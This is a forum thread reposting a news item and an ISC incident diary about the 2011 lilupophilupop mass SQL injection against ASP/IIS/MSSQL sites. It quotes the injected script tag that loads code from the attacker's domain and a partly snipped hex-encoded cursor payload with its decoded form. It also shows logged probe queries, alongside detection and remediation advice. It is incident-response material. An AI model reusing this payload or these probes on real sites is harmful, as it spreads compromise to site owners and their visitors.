Nytro Posted January 1, 2012 Report Posted January 1, 2012 One million pages infected by Lilupophilupop SQL injection One million pages infected by Lilupophilupop SQL injectionISC (Internet Storm Center) reported that lilupophilupop.com SQL injection attacks. There were about 80 pages infected according to Google searches few weeks back and now it raise to over 1 million . sites being injected with string : "></title><script src="http://lilupophilupop.com/sl.php"></script>Infections are shows on .com, .de, & .uk as the most affected regions. ISC posted stats just to give you a rough idea of where the pages are:UK - 56,300NL - 123,000DE - 49,700FR - 68,100DK - 31,000CN - 505CA - 16,600COM - 30,500RU - 32,000JP - 23,200ORG - 2,690If you want to find out if you have a problem just search for "<script src="http://lilupophilupop.com/" in google and use the site: parameter to hone in on your domain.[News Submitted by @om_bee]Sursa: One million pages infected by Lilupophilupop SQL injection | The Hacker News (THN) Quote
denjacker Posted January 1, 2012 Report Posted January 1, 2012 We've had several reports (thanks guys) of sites being injected with the following string: "></title><script src="hXXp://lilupophilupop.com/sl.php"></script>Typically it is inserted into several tables. From the information gathered so far it looks targeted at ASP, IIS and MSSQL backends, but that is just speculation. If you find that you have been infected please let us know and if you can share packets, logs please upload them on the contact form.UPDATE:Thanks to those that posted comments and those that worked behind the scenes. The injection string is along the lines Terry posted in his comments. the one I ran across is (note not the whole string is provided)73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e---------snip----------9746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f722049444f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72+as+varchar%284000%29%29+exec%28%40s%29Which decodes to: declare+@s+varchar(4000)+set+@s=cast(0xset ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('------SNIP-------IN EXEC('UPDATE ['+@T+'] SET ['+@C+']=''"></title><script src="XXXX://lilupophilupop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['+@C+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['+@C+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor+................When discovered yesterday about 80 sites showed in Google, this morning about 200, by lunch 1000 and a few minutes ago 4000+. Targets include ASP sites and Coldfusion (Thanks Will) The attack seems to work on all versions of MSSQL.The hex will show in the IIS log files, so monitor those. Make sure that applications only have the access they require, so if the page does not need to update a DB, then use an account that can only read.Sources of the attack vary, it is automated and spreading fairly rapidly. As one of the comments mentioned it looks like lizamoon which infected over 1,000,000 sites earlier this year. The trail of the files ends up on "adobeflash page" or fake AV. Blocking access to the lilupophilupop site will prevent infection of clients should they hit an infected site and be redirected.UPDATE 8/12/2011Firstly thanks to those that have provided comments and additional information. As of a few minutes ago the approximate number of sites infected is about 160,000 sites. Looking at where the infections are shows .com, .de, & .uk as the most affected regions. .com - 19,100 .au - 167 .uk - 25,200 .fr - 10,900 .in - 1,780 .ie - 2,350 .ca -1,630 .be - 4,580 .nl - 14,000 .de - 23,200 .no - 2,410Based on information in the log files of some incidents the preparation for the attack goes back a little while. Log records show that at least two weeks prior to the actual injection attack the system is being probed for vulnerable pages as well as attempts to identify the product being used. For example: 2011-11-16 05:13:55 176.65.161.71 xxxxxxxx.asp PAGEID=189%27%29%29%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version------snip----|Line_1:_Incorrect_syntax_near_')'2011-11-17 10:50:01 64.191.13.178 /xxxxxxxxxxx.asp PAGEID=189%29%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version--------snip----Syntax_error_converting_the_varchar_value_'189)/**/or/**/1=@@version--'_to_a_column_of_data_type_int.2011-11-17 14:48:09 213.229.96.13 /xxxxxxxxxxx.asp PAGEID=189%2F%2A%2A%2For%2F%2A%2A%2F1%3D%40%40version%29%29------snip----|Syntax_error_converting_the_varchar_value_'189/**/or/**/1=@@version))--'_to_a_column_of_data_type_int.2011-11-19 22:24:41 94.228.222.41 /xxxxxxxxxxx.asp PAGEID=189%27%2F%2A%2A%2For%2F%2A%2%2F1%3D%40%40version%29------snip----|Line_1:_Incorrect_syntax_near_')'.From the above you can see that over time there are a few attempts, then the next day the next attempt appears in the log files. The attempts are from different IP addresses, but there certainly is some progression based on responses received. In this instance the PAGEID=189 parameter on page xxxxxxxx.asp is vulnerable. If you search your log files for 500 errors, go back a few weeks, you will find the probing queries.If you are still battling this, please make sure that you identify the entry page. If you restore your DB and bring the system back online without identifying the entry point, then it will only be a matter of time before the system is re-compromised.I put some things you might look for in the comments section of the diary. The easiest place to start will be to look for the 500 error messages, mainly because the final injection is likely to cause your DB product to throw an error which will show as a 500 error. Even if it does not, you may be able to identify the probing queries and from those identify the final injection. When looking at fixing the problem do not forget that this vulnerability is a coding issue. You may need to make application changes. To address the issue make sure you perform proper input validation for every parameter you accept. http://isc.sans.edu/diary.html?storyid=12127 Quote
